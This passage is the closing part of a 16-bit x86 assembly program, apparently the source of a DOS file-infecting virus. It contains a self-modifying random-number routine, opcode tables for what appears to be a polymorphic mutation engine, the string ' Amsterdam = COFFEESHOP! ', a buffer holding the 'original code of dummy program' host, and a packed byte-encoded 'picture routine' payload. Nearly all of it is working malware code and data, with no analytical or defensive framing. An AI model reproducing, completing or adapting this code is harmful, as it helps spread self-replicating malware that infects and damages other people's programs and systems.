  3015.                 in      al,40
  3016.  
  3017.                 mov     ah,al
  3018.  
  3019.                 in      al,40
  3020.  
  3021.                 xor     ax,cx
  3022.  
  3023.                 xor     dx,ax
  3024.  
  3025.                 jmp     short move_rnd
  3026.  
  3027.  
  3028.  
  3029. rnd_get:        push    dx                      ;calculate a random number
  3030.  
  3031.                 push    cx
  3032.  
  3033.                 push    bx
  3034.  
  3035.                 mov     ax,0                    ;will be: mov ax,xxxx
  3036.  
  3037.                 mov     dx,0                    ;  and mov dx,xxxx
  3038.  
  3039.                 mov     cx,7
  3040.  
  3041. rnd_lup:        shl     ax,1
  3042.  
  3043.                 rcl     dx,1
  3044.  
  3045.                 mov     bl,al
  3046.  
  3047.                 xor     bl,dh
  3048.  
  3049.                 jns     rnd_l2
  3050.  
  3051.                 inc     al
  3052.  
  3053. rnd_l2:         loop    rnd_lup
  3054.  
  3055.                 pop     bx
  3056.  
  3057.  
  3058.  
  3059. move_rnd:       mov     word ptr ds:[rnd_get+4],ax
  3060.  
  3061.                 mov     word ptr ds:[rnd_get+7],dx
  3062.  
  3063.                 mov     al,dl
  3064.  
  3065.                 pop     cx
  3066.  
  3067.                 pop     dx
  3068.  
  3069.                 ret
  3070.  
  3071.  
  3072.  
  3073.  
  3074.  
  3075. ;****************************************************************************
  3076.  
  3077. ;*              tables for engine
  3078.  
  3079. ;****************************************************************************
  3080.  
  3081.  
  3082.  
  3083.                 ;       AX   AL   AH      (BX) BL   BH      CX   CL   CH
  3084.  
  3085. mov_byte        db      0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5
  3086.  
  3087.  
  3088.  
  3089.                 ;       nop clc  stc  cmc  cli  cld incbp decbp
  3090.  
  3091. nop_data8       db      90, 0F8, 0F9, 0F5, 0FA, 0FC, 45,  4Dh
  3092.  
  3093.  
  3094.  
  3095.                 ;      or and xchg mov
  3096.  
  3097. nop_data16      db      8, 20, 84, 88
  3098.  
  3099.  
  3100.  
  3101.                 ;     bl/bh, bx, si  di
  3102.  
  3103. dir_change      db      07, 07, 04, 05
  3104.  
  3105. ind_change      db      03, 03, 06, 07
  3106.  
  3107.  
  3108.  
  3109.  
  3110.  
  3111.                 ;       xor xor add sub
  3112.  
  3113. how_mode        db      30, 30, 00, 28
  3114.  
  3115.  
  3116.  
  3117.                 ;       ?  add  xor  or
  3118.  
  3119. add_mode        db      0, 0C8, 0F0, 0C0
  3120.  
  3121.  
  3122.  
  3123.  
  3124.  
  3125. ;****************************************************************************
  3126.  
  3127. ;*              text + buffer
  3128.  
  3129. ;****************************************************************************
  3130.  
  3131.  
  3132.  
  3133.                 db      ' Amsterdam = COFFEESHOP! '
  3134.  
  3135.  
  3136.  
  3137. buffer          db      0CDh, 20                ;original code of dummy program
  3138.  
  3139.                 db      (BUFLEN-2) dup (?)
  3140.  
  3141.  
  3142.  
  3143.  
  3144.  
  3145. ;****************************************************************************
  3146.  
  3147. ;*              the (packed) picture routine
  3148.  
  3149. ;****************************************************************************
  3150.  
  3151.                                                 
  3152.  
  3153. beeld           db      0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h
  3154.  
  3155.                 db      090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh
  3156.  
  3157.                 db      001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh
  3158.  
  3159.                 db      000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h
  3160.  
  3161.                 db      0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h
  3162.  
  3163.                 db      00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h
  3164.  
  3165.                 db      0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch
  3166.  
  3167.                 db      004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h
  3168.  
  3169.                 db      022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh
  3170.  
  3171.                 db      0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh
  3172.  
  3173.                 db      081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h
  3174.  
  3175.                 db      003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch
  3176.  
  3177.                 db      0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h
  3178.  
  3179.                 db      002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh
  3180.  
  3181.                 db      0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh
  3182.  
  3183.                 db      0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh
  3184.  
  3185.                 db      0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh
  3186.  
  3187.                 db      0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h
  3188.  
  3189.                 db      084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h
  3190.  
  3191.                 db      083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h
  3192.  
  3193.                 db      001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h
  3194.  
  3195.                 db      0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh
  3196.  
  3197.                 db      0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h
  3198.  
  3199.                 db      0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h
  3200.  
  3201.                 db      0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h
  3202.  
  3203.                 db      01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h
  3204.  
  3205.                 db      061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h
  3206.  
  3207.                 db      0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h
  3208.  
  3209.                 db      009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h
  3210.  
  3211.                 db      05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh
  3212.  
  3213.                 db      0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch
  3214.  
  3215.                 db      020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh
  3216.  
  3217.                 db      0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h
  3218.  
  3219.                 db      0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh
  3220.  
  3221.                 db      060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh
  3222.  
  3223.                 db      022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh
  3224.  
  3225.                 db      0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h
  3226.  
  3227.                 db      041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h
  3228.  
  3229.                 db      009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh
  3230.  
  3231.                 db      01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h
  3232.  
  3233.                 db      09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh
  3234.  
  3235.                 db      084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh
  3236.  
  3237.                 db      053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h
  3238.  
  3239.                 db      01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h
  3240.  
  3241.                 db      0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h
  3242.  
  3243.                 db      07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h
  3244.  
  3245.                 db      076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h
  3246.  
  3247.                 db      055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h
  3248.  
  3249.                 db      084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh
  3250.  
  3251.                 db      0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h
  3252.  
  3253.                 db      050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh
  3254.  
  3255.                 db      070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh
  3256.  
  3257.                 db      020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h
  3258.  
  3259.                 db      019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh
  3260.  
  3261.                 db      0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h
  3262.  
  3263.                 db      083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh
  3264.  
  3265.                 db      0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h
  3266.  
  3267.                 db      072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h
  3268.  
  3269.                 db      041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh
  3270.  
  3271.                 db      002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h
  3272.  
  3273.                 db      072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h
  3274.  
  3275.                 db      0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h
  3276.  
  3277.                 db      070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh
  3278.  
  3279.                 db      040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h
  3280.  
  3281.                 db      0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh
  3282.  
  3283.                 db      061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h
  3284.  
  3285.                 db      048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h
  3286.  
  3287.                 db      066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h
  3288.  
  3289.                 db      05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h
  3290.  
  3291.                 db      093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh
  3292.  
  3293.                 db      0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh
  3294.  
  3295.                 db      0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh
  3296.  
  3297.                 db      0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h
  3298.  
  3299.                 db      0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h
  3300.  
  3301.                 db      0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h
  3302.  
  3303.                 db      0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h
  3304.  
  3305.                 db      02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h
  3306.  
  3307.                 db      0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h
  3308.  
  3309.                 db      0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh
  3310.  
  3311.                 db      0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh
  3312.  
  3313.                 db      02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h
  3314.  
  3315.                 db      0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h
  3316.  
  3317.                 db      0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah
  3318.  
  3319.                 db      0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h
  3320.  
  3321.                 db      0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh
  3322.  
  3323.                 db      0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h
  3324.  
  3325.                 db      0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh
  3326.  
  3327.                 db      0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah
  3328.  
  3329.                 db      0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h
  3330.  
  3331.                 db      03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh
  3332.  
  3333.                 db      033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h
  3334.  
  3335.                 db      0E9h, 07Dh, 0EBh
  3336.  
  3337.                 
  3338.  
  3339. last:
  3340.  
  3341.  
  3342.  
  3343. _TEXT           ends
  3344.  
  3345.                 end    first
  3346.  
  3347.